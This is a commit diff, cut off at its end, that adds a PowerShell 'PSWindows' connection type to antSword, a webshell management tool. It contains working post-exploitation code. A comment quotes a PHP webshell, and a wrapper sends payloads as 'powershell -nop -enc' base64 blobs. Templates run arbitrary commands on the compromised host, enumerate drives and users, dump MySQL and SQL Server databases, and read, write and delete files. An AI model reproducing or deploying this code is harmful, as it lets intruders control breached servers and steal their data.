Commit f4de3b85 authored by Medicean's avatar Medicean Committed by Medicean

(New: Core/PSWindows) 新增 PSWindows 连接类型

parent 6c6e0a9f
...@@ -75,7 +75,7 @@ const antSword = window.antSword = { ...@@ -75,7 +75,7 @@ const antSword = window.antSword = {
* @type {Object} * @type {Object}
*/ */
core: {}, core: {},
/** /**
* 核心模块类型列表 * 核心模块类型列表
* @type {Object} * @type {Object}
*/ */
...@@ -107,7 +107,7 @@ const antSword = window.antSword = { ...@@ -107,7 +107,7 @@ const antSword = window.antSword = {
if (!value) { if (!value) {
return localStorage.getItem(key) || def; return localStorage.getItem(key) || def;
}; };
if (typeof (value) === "object") if (typeof(value) === "object")
value = JSON.stringify(value); value = JSON.stringify(value);
// 设置 // 设置
...@@ -168,7 +168,7 @@ const antSword = window.antSword = { ...@@ -168,7 +168,7 @@ const antSword = window.antSword = {
}; };
//核心模块类型列表 //核心模块类型列表
antSword['core_types'] = ['asp','aspx','aspxcsharp','php', 'php4','phpraw','jsp','jspjs','cmdlinux','custom']; antSword['core_types'] = ['asp', 'aspx', 'aspxcsharp', 'php', 'php4', 'phpraw', 'jsp', 'jspjs', 'cmdlinux', 'pswindows', 'custom'];
// 加载核心模板 // 加载核心模板
antSword['core'] = require('./core/'); antSword['core'] = require('./core/');
...@@ -177,7 +177,7 @@ antSword['core'] = require('./core/'); ...@@ -177,7 +177,7 @@ antSword['core'] = require('./core/');
antSword['language'] = require('./language/'); antSword['language'] = require('./language/');
// 加载编码 // 加载编码
antSword['encoders'] = (function () { antSword['encoders'] = (function() {
var encoders = {}; var encoders = {};
var encoders_path = {}; var encoders_path = {};
for (var i in antSword['core_types']) { for (var i in antSword['core_types']) {
...@@ -190,7 +190,7 @@ antSword['encoders'] = (function () { ...@@ -190,7 +190,7 @@ antSword['encoders'] = (function () {
!fs.existsSync(userencoder_path) ? !fs.existsSync(userencoder_path) ?
fs.mkdirSync(userencoder_path) : fs.mkdirSync(userencoder_path) :
null; null;
antSword['core_types'].map((t) => { antSword['core_types'].map((t) => {
!fs.existsSync(path.join(userencoder_path, `${t}`)) ? !fs.existsSync(path.join(userencoder_path, `${t}`)) ?
fs.mkdirSync(path.join(userencoder_path, `${t}`)) : fs.mkdirSync(path.join(userencoder_path, `${t}`)) :
null; null;
...@@ -225,7 +225,7 @@ antSword['encoders'] = (function () { ...@@ -225,7 +225,7 @@ antSword['encoders'] = (function () {
})(); })();
// 加载解码器 // 加载解码器
antSword['decoders'] = (function () { antSword['decoders'] = (function() {
var decoders = {}; var decoders = {};
var decoders_path = {}; var decoders_path = {};
for (var i in antSword['core_types']) { for (var i in antSword['core_types']) {
...@@ -238,7 +238,7 @@ antSword['decoders'] = (function () { ...@@ -238,7 +238,7 @@ antSword['decoders'] = (function () {
!fs.existsSync(userdecoder_path) ? !fs.existsSync(userdecoder_path) ?
fs.mkdirSync(userdecoder_path) : fs.mkdirSync(userdecoder_path) :
null; null;
antSword['core_types'].map((t) => { antSword['core_types'].map((t) => {
!fs.existsSync(path.join(userdecoder_path, `${t}`)) ? !fs.existsSync(path.join(userdecoder_path, `${t}`)) ?
fs.mkdirSync(path.join(userdecoder_path, `${t}`)) : fs.mkdirSync(path.join(userdecoder_path, `${t}`)) :
null; null;
...@@ -346,12 +346,12 @@ const groupLog = (opt, color) => { ...@@ -346,12 +346,12 @@ const groupLog = (opt, color) => {
// 监听后端消息 // 监听后端消息
ipcRenderer ipcRenderer
/** /**
* 刷新UI(shellmanager侧边栏 * 刷新UI(shellmanager侧边栏
* @param {[type]} 'reloadui' [description] * @param {[type]} 'reloadui' [description]
* @param {[type]} ( [description] * @param {[type]} ( [description]
* @return {[type]} [description] * @return {[type]} [description]
*/ */
.on('reloadui', () => { .on('reloadui', () => {
setTimeout(() => { setTimeout(() => {
antSword antSword
......
/**
* cmdlinux::base64解码器
*/
'use strict';
module.exports = {
/**
* @returns {string} asenc 加密返回数据的函数
*/
asoutput: () => {
// return `function asenc(){ param ([Parameter(ValueFromPipeline)]$s) process{ [System.Convert]::ToBase64String([System.Text.Encoding]::Default.GetBytes($s));}};`
return `function asenc(){ param ([System.String] $s) return [System.Convert]::ToBase64String([System.Text.Encoding]::Default.GetBytes($s));};`
},
/**
* 解码 Buffer
* @param {Buffer} buff 要被解码的 Buffer
* @returns {Buffer} 解码后的 Buffer
*/
decode_buff: (buff) => {
console.log(Buffer.from(buff.toString(), 'base64'));
return Buffer.from(buff.toString(), 'base64');
}
}
\ No newline at end of file
/**
* cmdlinux::default解码器
*/
'use strict';
module.exports = {
/**
* @returns {string} asenc 加密返回数据的函数
*/
asoutput: () => {
// 这里是支持管道的写法
// return `function asenc(){ param ([Parameter(ValueFromPipeline)]$s) process{ Write-Host -NoNewline $s;}};`.replace(/\n\s+/g, '');
return `function asenc(){ param ([System.String] $s) return $s;};`.replace(/\n\s+/g, '');
},
/**
* 解码 Buffer
* @param {Buffer} buff 要被解码的 Buffer
* @returns {Buffer} 解码后的 Buffer
*/
decode_buff: (buff) => {
return buff;
}
}
\ No newline at end of file
/**
* cmdlinux::hex解码器
*/
'use strict';
module.exports = {
/**
* @returns {string} asenc 加密返回数据的函数
*/
asoutput: () => {
return `function asenc(){ param ([System.String] $s) return [System.BitConverter]::ToString([System.Text.Encoding]::Default.GetBytes($s)).Replace('-','');};`.replace(/\n\s+/g, '')
},
/**
* 解码 Buffer
* @param {Buffer} buff 要被解码的 Buffer
* @returns {Buffer} 解码后的 Buffer
*/
decode_buff: (buff) => {
return Buffer.from(buff.toString().replace(/\n/g, ''), 'hex');
}
}
\ No newline at end of file
'use strict';
/**
* webshell eg:
<?php system(base64_decode($_POST['ant']));?>
*/
module.exports = (pwd, data, ext = null) => {
data[pwd] = Buffer.from(data['_']).toString('base64');
delete data['_'];
return data;
}
/**
* PSWindows服务端脚本模板
*/
'use strict';
// import Base from '../base';
const Base = require('../base');
class PSWINDOWS extends Base {
constructor(opts) {
super(opts);
// 解析模板
[
'base',
'command',
'filemanager',
'database/mysql_odbc',
'database/sqlserver_odbc',
'database/sqlserver_sqlclient',
].map((_) => {
this.parseTemplate(`./pswindows/template/${_}`);
});
// 解析编码器
this
.encoders
.map((_) => {
this.parseEncoder(`./pswindows/encoder/${_}`);
});
this
.decoders
.map((_) => {
this.parseDecoder(`./pswindows/decoder/${_}`);
});
}
/**
* 获取编码器列表
* ? 可以在antSword.core.php.prototype.encoders中获取此变量
* @return {array} 编码器列表
*/
get encoders() {
return ["base64"];
}
get decoders() {
return ["default", "base64", "hex"];
}
/**
* HTTP请求数据组合函数
* @param {Object} data 通过模板解析后的代码对象
* @param {bool} force_default 强制使用 default 解码
* @return {Promise} 返回一个Promise操作对象
*/
complete(data, force_default = false) {
// 分隔符号
let tag_s, tag_e;
if (this.__opts__['otherConf'].hasOwnProperty('use-custom-datatag') && this.__opts__['otherConf']['use-custom-datatag'] == 1 && this.__opts__['otherConf']['custom-datatag-tags']) {
tag_s = this.__opts__['otherConf']['custom-datatag-tags'];
} else {
tag_s = Math.random().toString(16).substr(2, parseInt(Math.random() * 8 + 5)); // "->|";
}
if (this.__opts__['otherConf'].hasOwnProperty('use-custom-datatag') && this.__opts__['otherConf']['use-custom-datatag'] == 1 && this.__opts__['otherConf']['custom-datatag-tage']) {
tag_e = this.__opts__['otherConf']['custom-datatag-tage'];
} else {
tag_e = Math.random().toString(16).substr(2, parseInt(Math.random() * 8 + 5)); // "|<-";
}
let asencCode;
let ext = {
opts: this.__opts__,
};
if (!force_default) {
asencCode = this.__decoder__[this.__opts__['decoder'] || 'default'].asoutput(ext);
} else {
asencCode = this.__decoder__['default'].asoutput(ext);
}
// 组合完整的代码
let tmpCode = data['_'];
data['_'] = `$TAGS=[System.String]::Concat('${tag_s.substr(0,tag_s.length/2)}','${tag_s.substr(tag_s.length/2)}');$TAGE=[System.String]::Concat('${tag_e.substr(0,tag_e.length/2)}','${tag_e.substr(tag_e.length/2)}');${asencCode};function asexec() { ${tmpCode} };$RESP='';try{$RESP=asenc(asexec);}catch{$RESP=asenc([System.String]::Format('ERROR:// {0}',$_.ToString()));};[System.String]::Format('{0}{1}{2}',$TAGS,$RESP,$TAGE);`;
data['_'] = `powershell -nop -enc ${this.Base64UTF16(data['_'])}`;
// 使用编码器进行处理并返回
return this.encodeComplete(tag_s, tag_e, data);
}
// https://stackoverflow.com/questions/17913609/javascript-unicode-base64-encode
Base64UTF16(cmd) {
var ar = new Array(cmd.length * 2),
i, j, s, b64;
// build array of bytes
for (i = 0, j = 0; i < cmd.length; j = 2 * ++i) {
ar[j] = cmd.charCodeAt(i);
}
// build string from array
s = String.fromCharCode.apply(String, ar);
// to base64
b64 = btoa(s);
return b64;
}
}
module.exports = PSWINDOWS;
\ No newline at end of file
/**
* 基础信息模板
* ? 获取系统信息、当前用户、当前路径、盘符列表
*/
module.exports = () => ({
info: {
// [System.IO.DriveInfo]::GetDrives()|Where-Object{$_.DriveType -eq 3}|ForEach-Object{$ADRIVERS+=$_.Name.substring(0,2)};
// Write-Output $ACWD$TAB$ADRIVERS$TAB$AUNAME$TAB$AUSER;
_: `$ret='';
$Tab=[char]9;
$ACWD=$pwd.Path;
$AUSER=[System.Security.Principal.WindowsIdentity]::GetCurrent().Name;
$AUNAME=[System.Environment]::OSVersion.VersionString;
$ADRIVERS='';
$c=[System.IO.DriveInfo]::GetDrives();
for($i=0;$i -lt $c.Length;$i++){
if($c[$i].DriveType -eq 3){
$ADRIVERS+=$c[$i].Name.Substring(0,2);
}
};
$ret=$ACWD+$TAB+$ADRIVERS+$TAB+$AUNAME+$TAB+$AUSER;
return $ret;
`.replace(/\n\s+/g, '')
},
probedb: { // 检测数据库函数支持
_: `$ret='';
$TAB=[char]9;
$Line=[char]10;
$OP='HKLM:/HKEY_LOCAL_MACHINE/SOFTWARE/ODBC/ODBCINST.INI/ODBC Drivers';
$ODBC=(Get-Item -Force -LiteralPath $OP);$ODBC.Property|ForEach-Object{
$ret+='[ODBC Drivers]'+$_+$TAB;
if($ODBC.GetValue($_).Equals('Installed')){
$ret+='1';
}else{
$ret+='0';
};
$ret+=$Line;
};
return $ret;
`.replace(/\n\s+/g, '')
}
})
\ No newline at end of file
/**
* 虚拟终端命令执行
*/
module.exports = (arg1, arg2, arg3) => ({
exec: {
_: `$c=New-Object System.Diagnostics.ProcessStartInfo -ArgumentList '#{bin}';
$e=New-Object System.Diagnostics.Process;
$c.UseShellExecute=$false;
$c.RedirectStandardInput=$true;
$c.RedirectStandardOutput=$true;
$c.RedirectStandardError=$true;
$c.CreateNoWindow=$true;
$e.StartInfo=$c;
$c.Arguments = '/c ' + [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::cmd}'));
$env=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::env}'));
if($env.Length -ne 0){
$envarr = [System.Text.RegularExpressions.Regex]::Split($env, '\\|\\|\\|asline\\|\\|\\|');
for($i=0;$i -lt $envarr.Length;$i++){
$ss = [System.Text.RegularExpressions.Regex]::Split($envarr[$i], '\\|\\|\\|askey\\|\\|\\|');
if($ss.Length -ne 2){continue;};
$c.EnvironmentVariables.Add($ss[0],$ss[1]);
};
};
$aa=$e.Start();
$OT=$e.StandardOutput;
$ER=$e.StandardError;
$e.Close();
return $OT.ReadToEnd()+$ER.ReadToEnd();`.replace(/\n\s+/g, ''),
},
listcmd: {
_: `$ret='';
$Tab=[char]9;
$Line=[char]10;
$ss=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::binarr}')).Split(',');
for ($i = 0; $i -lt $ss.Length; $i++){
$flag='0';
if([System.IO.File]::Exists($ss[$i])){
$flag='1';
}
$ret += ($ss[$i]+$Tab+$flag+$Line);
};
return $ret;`.replace(/\n\s+/g, '')
}
})
\ No newline at end of file
# ADO.NET code examples
https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/ado-net-code-examples
/**
* 数据库管理模板::mysql
* i 数据分隔符号 => \t|\t
*/
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库
show_databases: {
_: `$connstr=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::conn}'));
$needcolumnname=$FALSE;
$columnsep=[char]9;
$conn=New-Object System.Data.Odbc.OdbcConnection($connstr);
$sql='SHOW DATABASES';
$command = New-Object System.Data.Odbc.OdbcCommand($sql, $conn);
$conn.Open();
$reader=$command.ExecuteReader();
$sb=New-Object System.Text.StringBuilder;
while($reader.Read()){
$sb.AppendFormat('{0}{1}',$reader.GetString(0),$columnsep)|Out-Null;
}
$reader.Close();
return $sb.ToString();`.replace(/\n\s+/g, ''),
},
// 显示数据库所有表
show_tables: {
_: `$connstr=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::conn}'));
$dbname=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::db}'));
$needcolumnname=$FALSE;
$columnsep=[char]9;
$conn=New-Object System.Data.Odbc.OdbcConnection($connstr);
$sql=[System.String]::Format('SHOW TABLES FROM {0}', $dbname);
$command = New-Object System.Data.Odbc.OdbcCommand($sql, $conn);
$conn.Open();
$reader=$command.ExecuteReader();
$sb=New-Object System.Text.StringBuilder;
while($reader.Read()){
$sb.AppendFormat('{0}{1}',$reader.GetString(0),$columnsep)|Out-Null;
}
$reader.Close();
return $sb.ToString();`.replace(/\n\s+/g, ''),
},
// 显示表字段
show_columns: {
_: `$connstr=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::conn}'));
$dbname=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::db}'));
$table=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::table}'));
$columnsep=[char]9;
$conn=New-Object System.Data.Odbc.OdbcConnection($connstr);
$sql=[System.String]::Format('SHOW COLUMNS FROM {0}.{1}', $dbname, $table);
$command = New-Object System.Data.Odbc.OdbcCommand($sql, $conn);
$conn.Open();
$reader=$command.ExecuteReader();
$sb=New-Object System.Text.StringBuilder;
while($reader.Read()){
$sb.AppendFormat('{0} ({1}){2}',$reader.GetString(0), $reader.GetString(1),$columnsep)|Out-Null;
}
$reader.Close();
return $sb.ToString();`.replace(/\n\s+/g, ''),
},
// 执行SQL语句
query: {
_: `$connstr=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::conn}'));
$dbname=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::db}'));
$needcolumnname=$TRUE;
$columnsep=[System.String]::Format('{0}|{1}',[char]9,[char]9);
$rowsep=[System.String]::Format('{0}{1}',[char]10,[char]13);
$conn=New-Object System.Data.Odbc.OdbcConnection($connstr);
$sql=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::sql}'));
$command = New-Object System.Data.Odbc.OdbcCommand($sql, $conn);
$conn.Open();
$conn.ChangeDatabase($dbname);
$reader=$command.ExecuteReader();
$sb=New-Object System.Text.StringBuilder;
if(($reader.HasRows -eq $FALSE) -and ($reader.VisibleFieldCount -eq 0)) {
$sb.AppendFormat('Affect Rows{0}{1}{2}{3}{4}',$columnsep, $rowsep,[System.Convert]::ToBase64String([System.Text.Encoding]::Default.GetBytes($reader.RecordsAffected)),$columnsep, $rowsep)|Out-Null;
return $sb.ToString();
}
if($needcolumnname) {
for($i=0; $i -lt $reader.FieldCount; $i++){
$sb.AppendFormat('{0}{1}',$reader.GetName($i),$columnsep)|Out-Null;
}
$sb.Append($rowsep)|Out-Null;
}
while($reader.Read()){
for($i=0; $i -lt $reader.FieldCount; $i++){
$sb.AppendFormat('{0}{1}',[System.Convert]::ToBase64String([System.Text.Encoding]::Default.GetBytes($reader.GetString($i))), $columnsep)|Out-Null;
}
$sb.Append($rowsep)|Out-Null;
}
$reader.Close();
return $sb.ToString();`.replace(/\n\s+/g, ''),
}
})
\ No newline at end of file
/**
* 数据库管理模板 odbc
* i 数据分隔符号 => \t|\t
*/
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库
show_databases: {
_: `$connstr=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::conn}'));
$sql='SHOW DATABASES';
$needcolumnname=$FALSE;
$columnsep=[char]9;
$conn=New-Object System.Data.Odbc.OdbcConnection($connstr);
$command = New-Object System.Data.Odbc.OdbcCommand($sql, $conn);
$conn.Open();
$reader=$command.ExecuteReader();
$sb=New-Object System.Text.StringBuilder;
while($reader.Read()){
$sb.AppendFormat('{0}{1}',$reader.GetString(0),$columnsep)|Out-Null;
}
$reader.Close();
return $sb.ToString();`.replace(/\n\s+/g, ''),
},
// 显示数据库所有表
show_tables: {
_: `$connstr=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::conn}'));
$dbname=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::db}'));
$needcolumnname=$FALSE;
$columnsep=[char]9;
$conn=New-Object System.Data.Odbc.OdbcConnection($connstr);
$sql=[System.String]::Format('SHOW TABLES FROM {0}', $dbname);
$command = New-Object System.Data.Odbc.OdbcCommand($sql, $conn);
$conn.Open();
$conn.ChangeDatabase($dbname);
$reader=$command.ExecuteReader();
$sb=New-Object System.Text.StringBuilder;
while($reader.Read()){
$sb.AppendFormat('{0}{1}',$reader.GetString(0),$columnsep)|Out-Null;
}
$reader.Close();
return $sb.ToString();`.replace(/\n\s+/g, ''),
},
// 显示表字段
show_columns: {
_: `$connstr=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::conn}'));
$dbname=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::db}'));
$table=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::table}'));
$columnsep=[char]9;
$conn=New-Object System.Data.Odbc.OdbcConnection($connstr);
$sql=[System.String]::Format('SHOW COLUMNS FROM {0}.{1}', $dbname, $table);
$command = New-Object System.Data.Odbc.OdbcCommand($sql, $conn);
$conn.Open();
$conn.ChangeDatabase($dbname);
$reader=$command.ExecuteReader();
$sb=New-Object System.Text.StringBuilder;
while($reader.Read()){
$sb.AppendFormat('{0} ({1}){2}',$reader.GetString(0), $reader.GetString(1),$columnsep)|Out-Null;
}
$reader.Close();
return $sb.ToString();`.replace(/\n\s+/g, ''),
},
// 执行SQL语句
query: {
_: `$connstr=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::conn}'));
$dbname=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::db}'));
$needcolumnname=$TRUE;
$columnsep=[System.String]::Format('{0}|{1}',[char]9,[char]9);
$rowsep=[System.String]::Format('{0}{1}',[char]10,[char]13);
$conn=New-Object System.Data.Odbc.OdbcConnection($connstr);
$sql=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::sql}'));
$command = New-Object System.Data.Odbc.OdbcCommand($sql, $conn);
$conn.Open();
$conn.ChangeDatabase($dbname);
$reader=$command.ExecuteReader();
$sb=New-Object System.Text.StringBuilder;
if(($reader.HasRows -eq $FALSE) -and ($reader.VisibleFieldCount -eq 0)) {
$sb.AppendFormat('Affect Rows{0}{1}{2}{3}{4}',$columnsep, $rowsep,[System.Convert]::ToBase64String([System.Text.Encoding]::Default.GetBytes($reader.RecordsAffected)),$columnsep, $rowsep)|Out-Null;
return $sb.ToString();
}
if($needcolumnname) {
for($i=0; $i -lt $reader.FieldCount; $i++){
$sb.AppendFormat('{0}{1}',$reader.GetName($i),$columnsep)|Out-Null;
}
$sb.Append($rowsep)|Out-Null;
}
while($reader.Read()){
for($i=0; $i -lt $reader.FieldCount; $i++){
$sb.AppendFormat('{0}{1}',[System.Convert]::ToBase64String([System.Text.Encoding]::Default.GetBytes($reader.GetString($i))), $columnsep)|Out-Null;
}
$sb.Append($rowsep)|Out-Null;
}
$reader.Close();
return $sb.ToString();`.replace(/\n\s+/g, ''),
}
})
\ No newline at end of file
/**
* 数据库管理模板::sqlserver odbc
* i 数据分隔符号 => \t|\t
*/
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库
show_databases: {
_: `$connstr=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::conn}'));
$needcolumnname=$FALSE;
$columnsep=[char]9;
$conn=New-Object System.Data.Odbc.OdbcConnection($connstr);
$sql='SELECT [name] FROM master.dbo.sysdatabases ORDER BY 1';
$command = New-Object System.Data.Odbc.OdbcCommand($sql, $conn);
$conn.Open();
$reader=$command.ExecuteReader();
$sb=New-Object System.Text.StringBuilder;
while($reader.Read()){
$sb.AppendFormat('{0}{1}',$reader.GetString(0),$columnsep)|Out-Null;
}
$reader.Close();
return $sb.ToString();`.replace(/\n\s+/g, ''),
},
// 显示数据库所有表
show_tables: {
_: `$connstr=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::conn}'));
$dbname=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::db}'));
$needcolumnname=$FALSE;
$columnsep=[char]9;
$conn=New-Object System.Data.Odbc.OdbcConnection($connstr);
$sql="SELECT [name] FROM sysobjects WHERE xtype='U' ORDER BY 1";
$command = New-Object System.Data.Odbc.OdbcCommand($sql, $conn);
$conn.Open();
$conn.ChangeDatabase($dbname);
$reader=$command.ExecuteReader();
$sb=New-Object System.Text.StringBuilder;
while($reader.Read()){
$sb.AppendFormat('{0}{1}',$reader.GetString(0),$columnsep)|Out-Null;
}
$reader.Close();
return $sb.ToString();`.replace(/\n\s+/g, ''),
},
// 显示表字段
show_columns: {
_: `$connstr=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::conn}'));
$dbname=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::db}'));
$table=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::table}'));
$columnsep=[char]9;
$conn=New-Object System.Data.Odbc.OdbcConnection($connstr);
$sql=[System.String]::Format("select b.name,c.name,c.length from sysobjects a,syscolumns b,systypes c where a.id=b.id and b.xtype=c.xtype and a.name='{0}'", $table);
$command = New-Object System.Data.Odbc.OdbcCommand($sql, $conn);
$conn.Open();
$conn.ChangeDatabase($dbname);
$reader=$command.ExecuteReader();
$sb=New-Object System.Text.StringBuilder;
while($reader.Read()){
$sb.AppendFormat('{0} ({1}){2}',$reader.GetString(0), $reader.GetString(1),$columnsep)|Out-Null;
}
$reader.Close();
return $sb.ToString();`.replace(/\n\s+/g, ''),
},
// 执行SQL语句
query: {
_: `$connstr=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::conn}'));
$dbname=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::db}'));
$needcolumnname=$TRUE;
$columnsep=[System.String]::Format('{0}|{1}',[char]9,[char]9);
$rowsep=[System.String]::Format('{0}{1}',[char]10,[char]13);
$conn=New-Object System.Data.Odbc.OdbcConnection($connstr);
$sql=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::sql}'));
$command = New-Object System.Data.Odbc.OdbcCommand($sql, $conn);
$conn.Open();
$conn.ChangeDatabase($dbname);
$reader=$command.ExecuteReader();
$sb=New-Object System.Text.StringBuilder;
if(($reader.HasRows -eq $FALSE) -and ($reader.VisibleFieldCount -eq 0)) {
$sb.AppendFormat('Affect Rows{0}{1}{2}{3}{4}',$columnsep, $rowsep,[System.Convert]::ToBase64String([System.Text.Encoding]::Default.GetBytes($reader.RecordsAffected)),$columnsep, $rowsep)|Out-Null;
return $sb.ToString();
}
if($needcolumnname) {
for($i=0; $i -lt $reader.FieldCount; $i++){
$sb.AppendFormat('{0}{1}',$reader.GetName($i),$columnsep)|Out-Null;
}
$sb.Append($rowsep)|Out-Null;
}
while($reader.Read()){
for($i=0; $i -lt $reader.FieldCount; $i++){
$sb.AppendFormat('{0}{1}',[System.Convert]::ToBase64String([System.Text.Encoding]::Default.GetBytes($reader.GetString($i))), $columnsep)|Out-Null;
}
$sb.Append($rowsep)|Out-Null;
}
$reader.Close();
return $sb.ToString();`.replace(/\n\s+/g, ''),
}
})
\ No newline at end of file
/**
* 数据库管理模板::sqlserver odbc
* i 数据分隔符号 => \t|\t
*/
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库
show_databases: {
_: `$connstr=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::conn}'));
$needcolumnname=$FALSE;
$columnsep=[char]9;
$conn=New-Object System.Data.SqlClient.SqlConnection($connstr);
$sql='SELECT [name] FROM master.dbo.sysdatabases ORDER BY 1';
$command = New-Object System.Data.SqlClient.SqlCommand($sql, $conn);
$conn.Open();
$reader=$command.ExecuteReader();
$sb=New-Object System.Text.StringBuilder;
while($reader.Read()){
$sb.AppendFormat('{0}{1}',$reader.GetString(0),$columnsep)|Out-Null;
}
$reader.Close();
return $sb.ToString();`.replace(/\n\s+/g, ''),
},
// 显示数据库所有表
show_tables: {
_: `$connstr=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::conn}'));
$dbname=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::db}'));
$needcolumnname=$FALSE;
$columnsep=[char]9;
$conn=New-Object System.Data.SqlClient.SqlConnection($connstr);
$sql="SELECT [name] FROM sysobjects WHERE xtype='U' ORDER BY 1";
$command = New-Object System.Data.SqlClient.SqlCommand($sql, $conn);
$conn.Open();
$conn.ChangeDatabase($dbname);
$reader=$command.ExecuteReader();
$sb=New-Object System.Text.StringBuilder;
while($reader.Read()){
$sb.AppendFormat('{0}{1}',$reader.GetString(0),$columnsep)|Out-Null;
}
$reader.Close();
return $sb.ToString();`.replace(/\n\s+/g, ''),
},
// 显示表字段
show_columns: {
_: `$connstr=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::conn}'));
$dbname=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::db}'));
$table=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::table}'));
$columnsep=[char]9;
$conn=New-Object System.Data.SqlClient.SqlConnection($connstr);
$sql=[System.String]::Format("select b.name,c.name,c.length from sysobjects a,syscolumns b,systypes c where a.id=b.id and b.xtype=c.xtype and a.name='{0}'", $table);
$command = New-Object System.Data.SqlClient.SqlCommand($sql, $conn);
$conn.Open();
$conn.ChangeDatabase($dbname);
$reader=$command.ExecuteReader();
$sb=New-Object System.Text.StringBuilder;
while($reader.Read()){
$sb.AppendFormat('{0} ({1}){2}',$reader.GetString(0), $reader.GetString(1),$columnsep)|Out-Null;
}
$reader.Close();
return $sb.ToString();`.replace(/\n\s+/g, ''),
},
// 执行SQL语句
query: {
_: `$connstr=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::conn}'));
$dbname=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::db}'));
$needcolumnname=$TRUE;
$columnsep=[System.String]::Format('{0}|{1}',[char]9,[char]9);
$rowsep=[System.String]::Format('{0}{1}',[char]10,[char]13);
$conn=New-Object System.Data.SqlClient.SqlConnection($connstr);
$sql=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::sql}'));
$command = New-Object System.Data.SqlClient.SqlCommand($sql, $conn);
$conn.Open();
$conn.ChangeDatabase($dbname);
$reader=$command.ExecuteReader();
$sb=New-Object System.Text.StringBuilder;
if(($reader.HasRows -eq $FALSE) -and ($reader.VisibleFieldCount -eq 0)) {
$sb.AppendFormat('Affect Rows{0}{1}{2}{3}{4}',$columnsep, $rowsep,[System.Convert]::ToBase64String([System.Text.Encoding]::Default.GetBytes($reader.RecordsAffected)),$columnsep, $rowsep)|Out-Null;
return $sb.ToString();
}
if($needcolumnname) {
for($i=0; $i -lt $reader.FieldCount; $i++){
$sb.AppendFormat('{0}{1}',$reader.GetName($i),$columnsep)|Out-Null;
}
$sb.Append($rowsep)|Out-Null;
}
while($reader.Read()){
for($i=0; $i -lt $reader.FieldCount; $i++){
$sb.AppendFormat('{0}{1}',[System.Convert]::ToBase64String([System.Text.Encoding]::Default.GetBytes($reader.GetString($i))), $columnsep)|Out-Null;
}
$sb.Append($rowsep)|Out-Null;
}
$reader.Close();
return $sb.ToString();`.replace(/\n\s+/g, ''),
}
})
\ No newline at end of file
/**
* 文件管理模板
*/
module.exports = (arg1, arg2, arg3) => ({
dir: {
_: `Get-ChildItem -ErrorAction Stop -Force -Path '#{path}'|ForEach-Object{
$Tab=[char]9;
$ISDir='';
if($_.Mode.StartsWith('d')){
$ISDir='/';
};
$_.Name+$ISDIR+$Tab+$_.LastWriteTime+$Tab+$_.Length+$Tab+$_.Mode
}|Out-String;`.replace(/\n\s+/g, ''),
},
delete: {
_: `Remove-Item -Recurse -Force -LiteralPath '#{path}' -ErrorAction Stop;
return '1';
`.replace(/\n\s+/g, ''),
},
create_file: {
// 不建议使用 New-Item 方式来写入文件, -Encoding 参数只在 v5 以上版本才有
// _: `try { [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::content}'))|New-Item -ItemType File -Force -Path '#{path}' -ErrorAction Stop|Out-Null;'1';}catch{'0';}`.replace(/\n\s+/g, ''),
_: `$C=[byte[]] -split ('#{buffer::content}' -replace '..', '0x$& ');
[System.IO.File]::WriteAllBytes('#{path}',$C);
return '1';
`.replace(/\n\s+/g, ''),
},
read_file: {
_: `Get-Content -ErrorAction Stop -LiteralPath '#{path}'|Out-String;`
},
copy: {
